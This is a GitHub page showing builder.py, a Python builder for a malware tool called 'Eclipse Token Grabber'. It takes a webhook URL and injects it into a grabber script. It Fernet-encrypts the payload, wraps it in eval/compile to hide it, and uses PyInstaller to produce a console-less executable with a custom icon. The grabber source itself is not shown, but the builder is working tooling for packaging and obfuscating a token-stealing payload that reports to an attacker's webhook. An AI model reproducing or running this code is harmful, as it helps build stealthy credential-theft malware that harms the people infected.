This repository has been archived by the owner on Jun 7, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 107
/
Copy pathbuilder.py
153 lines (125 loc) · 7.56 KB
/
builder.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
import os
from os import remove as delete_file, path
from tokenize import Name
from turtle import clear
from cryptography.fernet import Fernet
from sys import platform as OS
from argparse import ArgumentParser, Namespace
from subprocess import run, PIPE
from colorama import Fore, Style
from cgi import print_directory
ly = Fore.LIGHTYELLOW_EX
oa = Fore.LIGHTMAGENTA_EX
ob = Fore.LIGHTBLUE_EX
re = Fore.RESET
gr = Fore.LIGHTGREEN_EX
good = f"{Fore.GREEN}[+]{Style.RESET_ALL}"
bad = f"{Fore.RED}[-]{Style.RESET_ALL}"
start_banner = F'''{ly}
___
,o88888
,o8888888'
,:o:o:oooo. ,8O88Pd8888"
,.::.::o:ooooOoOoO. ,oO8O8Pd888'"
,.:.::o:ooOoOoOO8O8OOo.8OOPd8O8O" ███████╗ ██████╗██╗ ██╗██████╗ ███████╗███████╗ ██████╗ ██████╗ █████╗ ██████╗ ██████╗ ███████╗██████╗
, ..:.::o:ooOoOOOO8OOOOo.FdO8O8" ██╔════╝██╔════╝██║ ██║██╔══██╗██╔════╝██╔════╝ ██╔════╝ ██╔══██╗██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗
, ..:.::o:ooOoOO8O888O8O,COCOO" █████╗ ██║ ██║ ██║██████╔╝███████╗█████╗ ██║ ███╗██████╔╝███████║██████╔╝██████╔╝█████╗ ██████╔╝
, . ..:.::o:ooOoOOOO8OOOOCOCO" ██╔══╝ ██║ ██║ ██║██╔═══╝ ╚════██║██╔══╝ ██║ ██║██╔══██╗██╔══██║██╔══██╗██╔══██╗██╔══╝ ██╔══██╗
. ..:.::o:ooOoOoOO8O8OCCCC"o ███████╗╚██████╗███████╗██║██║ ███████║███████╗ ╚██████╔╝██║ ██║██║ ██║██████╔╝██████╔╝███████╗██║ ██║
. ..:.::o:ooooOoCoCCC"o:o ╚══════╝ ╚═════╝╚══════╝╚═╝╚═╝ ╚══════╝╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝
. ..:.::o:o:,cooooCo"oo:o:
` . . ..:.:cocoooo"'o:o:::' {re}Authors{ly}:{re} Dimitris Kalopisis {ly}|{re} Yuliy Mitryashkin{ly} |{re} George Prepakis{ly}
.` . ..::ccccoc"'o:o:o:::' {re}Twitter{ly}:{re} {oa}@{re}Dkalopisis {ly}|{re} {oa}@{re}JM1k1{ly} |{re} {oa}@{re}kerag0{ly}
:.:. ,c:cccc"':.:.:.:.:.'
..:.:"'`::::c:"'..:.:.:.:.:.'
...:.'.:.::::"' . . . . .'
.. . ....:."' ` . . . ''
. . . ...."'
.. . ."'
.
{oa}------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------{re}
'''
grabber_path = path.join("code", "eclipse-grabber.py")
fernet_key = Fernet.generate_key().decode()
cur_dir = os.getcwd()
def clear_screen():
if OS == "win32":
os.system("cls")
if OS == "linux" or OS == "linux2":
os.system("clear")
def build(webhook: str, out_file: str, debug: bool):
of = f"{out_file}.py"
ot = f"{out_file}.exe"
code_file = open(grabber_path, 'r')
code = code_file.read()
code_file.close()
index = code.find("WEBHOOK")
libs = code[0:index] + "\nfrom cryptography.fernet import Fernet\n"
content = code[index:-1].replace("{WEBHOOK}", str(webhook))
encrypted_content = Fernet(fernet_key).encrypt(content.encode())
eval_code = f"\ncode = Fernet('{fernet_key}').decrypt({encrypted_content}).decode();eval(compile(code, '<string>', 'exec'))"
build_file = open(of, 'w')
build_file.write(libs)
build_file.write(eval_code)
build_file.close()
if OS == "linux" or OS == "linux2": # Linux
compile_command = ["wine", "/root/.wine/drive_c/users/root/Local Settings/Application Data/Programs/" + "Python/Python38-32/Scripts/pyinstaller.exe"]
elif OS == "win32": # Windows
compile_command = ["venv/Scripts/pyinstaller.exe"]
elif OS == "darwin": # OSX
compile_command = ["pyinstaller"]
else:
exit(f"\n{bad} OS not supported\n")
compile_command += [of, "--onefile", "--noconsole", "--hidden-import=_cffi_backend", f"--icon={path.join('img','exe_file.ico')}"]
if debug:
compile_command.remove("--noconsole")
try:
command_result = run(args=compile_command, stdout=PIPE, stderr=PIPE)
result = str(command_result.stderr).replace("b\"", "").replace(r'\n', '\n').replace(r'\r', '\r')
if "completed successfully" not in result:
raise Exception(result) # result.splitlines()[-2]
except Exception as error:
exit(f"\n{bad} Build Error: {error}\n")
try:
delete_file(out_file+".py")
delete_file(out_file+".spec")
if OS == "linux" or OS == "linux2": # Linux
print(f"[🪐] File is at ./dist!")
os.system("rm -rf ./build")
print(f"[💥] Removed build folder!")
print("[✨] Opening the folder...")
os.chdir("./dist")
os.system(f'explorer .')
elif OS == "win32": # Windows
print(f"[🪐] File is at ./dist!")
os.system(f'rd /s /q build')
print(f"[💥] Removed build folder!")
print("[✨] Opening the folder...")
os.chdir("./dist")
os.system(f'explorer .')
elif OS == "darwin": # OSX
print(f"[🪐] File is at ./dist!")
os.system("rm -rf ./build")
print(f"[💥] Removed build folder!")
print("[✨] Opening the folder...")
os.chdir("./dist")
os.system(f'explorer .')
except (FileNotFoundError, PermissionError):
pass
def get_args() -> Namespace:
parser = ArgumentParser(description='Eclipse Token Grabber Builder')
parser.add_argument('-w', '--webhook', help='add your webhook url', default='', required=True)
parser.add_argument('-o', '--filename', help='name your executable', default='', required=True)
parser.add_argument('-d', '--debug', help='enable debug mode', nargs='?', const=True, default=False)
clear_screen()
print(start_banner)
return parser.parse_args()
def main(args: Namespace):
clear_screen()
print(start_banner)
print(f"[🔒] Encryption Key: {fernet_key}")
print(f"[🏗️] Building the Token Grabber, please wait. . .")
build(args.webhook, args.filename, args.debug)
print(f"[🧳] Successfully Built the Grabber!\n")
if __name__ == "__main__":
main(get_args())